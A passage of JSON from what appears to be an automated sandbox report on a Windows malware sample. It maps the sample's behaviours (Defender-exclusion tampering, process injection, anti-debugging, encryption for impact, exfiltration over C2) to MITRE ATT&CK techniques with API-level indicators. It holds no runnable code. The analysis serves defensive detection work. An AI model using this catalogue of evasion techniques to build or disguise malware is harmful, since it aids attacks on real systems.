Staged","attack_id":"T1074","attack_id_wiki":"https://attack.mitre.org/techniques/T1074","identifiers":[{"type":"informative","value":"Able to aggregate collected data, possibly for exfiltration"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains reference to Windows internet services (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"suspicious","value":"Drops executable files"},{"type":"suspicious","value":"Writes a PE file header to disc"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Other Network Medium","attack_id":"T1011","attack_id_wiki":"https://attack.mitre.org/techniques/T1011","identifiers":[{"type":"informative","value":"Contains ability to open/close a dial up connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Able to access crypto-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Able to change the configuration parameters of a service"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"},{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Impact","technique":"Endpoint Denial of Service","attack_id":"T1499","attack_id_wiki":"https://attack.mitre.org/techniques/T1499","identifiers":[{"type":"informative","value":"Contains ability to lock the workstation's display (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"CreateThread failed\" (Indicator: \"CreateThread\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"WriteProcessMemory\" (Indicator: \"WriteProcessMemory\"; File: \"00000000-00007276.00000000.194352.013E2000.00000080.mdmp\")\n Found reference to API \"WinStationFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00002908.00000001.186952.C2012000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify Windows Defender exclusions (Powershell command string)","description":"file/memory contains long string with (Indicator: \"add-mppreference\"; File: \"XsTOKMXJ6.bat\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-980","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"00000000-00007276.00000000.194352.013E2000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"FindResourceW\" with parameter \"101\" - (UID: 00000000-00008068)\n \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"FindResourceW\" with parameter \"20134420\" - (UID: 00000000-00008068)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" called \"LoadResource with parameter {'hModule': '19922944', 'hResInfo': '20333568'}\" (UID: 00000000-00008068)\n \"NSudoLG.exe\" called \"LoadResource with parameter {'hModule': '140694732013568', 'hResInfo': '140694732162096'}\" (UID: 00000000-00008188)\n \"NSudoLG.exe\" called \"LoadResource with parameter {'hModule': '140694732013568', 'hResInfo': '140694732161984'}\" (UID: 00000000-00008188)\n \"NSudoLG.exe\" called \"LoadResource with parameter {'hModule': '140694732013568', 'hResInfo': '140694732161872'}\" (UID: 00000000-00008188)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Sleep\"; File: \"XsTOKMXJ6.bat\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00002908.00000001.186952.C2012000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00006436.00000000.187460.64DAF000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00006436.00000000.187460.64DAF000.00000002.mdmp\")\n Found reference to API \"RegRestoreKeyW\" (Indicator: \"RegRestoreKey\"; Source: \"00000000-00006436.00000000.187460.64DAF000.00000002.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00006436.00000000.187460.64DAF000.00000002.mdmp\")\n Found reference to API \"RegFlushKey\" (Indicator: \"RegFlushKey\"; Source: \"00000000-00006436.00000000.187460.64DAF000.00000002.mdmp\")\n Found reference to API \"RegSetValueW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00006436.00000000.187460.64DAF000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"Found reference to API \"ChangeServiceConfigA\" (Indicator: \"ChangeServiceConfig\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"ControlService\" (Indicator: \"ControlService\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceA\" (Indicator: \"OpenService\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00002908.00000001.186952.D1340000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007276.00000000.194352.013E2000.00000080.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\DISPLAY%s; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found string - \\\\.\\LCD; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"tasklist.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at 946F0000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$29","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2a","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"7z.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API GetLargePageMinimum@KERNEL32.DLL at 00000000-00007732-10073-445-00B996B0\n Found reference to API RtlGetVersion@NTDLL.DLL at 00000000-00007732-10073-1290-00B1979E\n Found reference to API GlobalMemoryStatusEx@KERNEL32.DLL at 00000000-00007732-10073-1314-00B1A196\n Found reference to API GetNativeSystemInfo@KERNEL32.DLL at 00000000-00007732-10073-1320-00B1A31B\n Found reference to API RtlGetVersion@NTDLL.DLL at 00000000-00007732-10073-1337-00B1AA6F","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptEncrypt\" (Indicator: \"CryptEncrypt\"; Source: \"00000000-00006460.00000000.184378.029B0000.00000004.mdmp\")\n Found api reference \"CryptExportKey\" (Indicator: \"CryptExportKey\"; Source: \"00000000-00006460.00000000.184378.029B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"Assembly shows XOR instruction xor ecx\n 000007F0h in Stream UID: 00000000-00007732-10073-180-00BA2340\n Assembly shows XOR instruction xor ebx\n eax in Stream UID: 00000000-00007732-10073-180-00BA2340\n Assembly shows XOR instruction xor eax\n 000007F0h in Stream UID: 00000000-00007732-10073-180-00BA2340\n Assembly shows XOR instruction xor ebx\n eax in Stream UID: 00000000-00007732-10073-270-00BAC710\n Assembly shows XOR instruction xor eax\n dword ptr [00BDB380h+ebx*4] in Stream UID: 00000000-00007732-10073-270-00BAC710\n Assembly shows XOR instruction xor esi\n eax in Stream UID: 00000000-00007732-10073-1382-00B16883\n Assembly shows XOR instruction xor eax\n ecx in Stream UID: 00000000-00007732-10073-1723-00B2E9C1","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.9742","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains key cryptographic functions (API string)\n Matched sigs: Contains ability to perform AES/RC4 encryption (API string)\n Matched sigs: Contains ability to perform encryption (API string)\n Matched sigs: Able to access crypto-related API (String)\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)\n Matched sigs: YARA signature match – cryptographic algorithms\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match – Encryption algorithm\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2b","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; File: \"nircmd.exe\")\n Found reference to API \"ZwQuerySystemInformation\" (Indicator: \"ZwQuerySystemInformation\"; File: \"00000000-00007276.00000000.194352.013E2000.00000080.mdmp\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to find string content in a file","description":"Found string \"%WINDIR%\\System32\\findstr.exe\" (Source: \"00000000-00006664-00000BC0-1970752255\")\n Found string \"%WINDIR%\\system32\\findstr.exe\" (Source: \"00000000-00006664-00000C47-271088615160\")\n Found string \"findstr /c:\"6.1.7601\"\" (Source: \"00000000-00006664-00000C47-271088615160\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-688","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; File: \"nircmd.exe\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found string \"GetCommandLineArgs\" (Indicator: \"GetCommandLine\"; File: \"00000000-00007276.00000000.194352.013E2000.00000080.mdmp\")\n Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00002908.00000001.186952.C2012000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; File: \"00000000-00007732.00000000.194016.00B11000.00000020.mdmp\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatusEx\"; File: \"00000000-00007732.00000000.194016.00B11000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"GetTimeFormatA\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"GetDateFormatA\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00002908.00000001.186952.C2012000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: 